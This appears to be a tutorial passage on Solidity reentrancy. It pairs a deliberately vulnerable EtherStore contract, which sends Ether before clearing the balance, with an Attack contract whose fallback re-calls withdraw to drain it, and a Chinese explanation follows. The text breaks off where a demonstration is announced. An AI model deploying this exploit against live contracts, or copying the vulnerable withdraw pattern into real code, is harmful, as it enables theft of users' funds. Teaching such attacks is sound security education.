// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
这个被攻击的EtherStore合约,可以用来deposit和withdraw以太币。withdraw函数的基本逻辑是:
sender发送合约里属于sender所有的余额,成功发送的话下一步;sender的余额值清零。在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw。

知道这些概念后,就可以演示攻击过程了:
这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。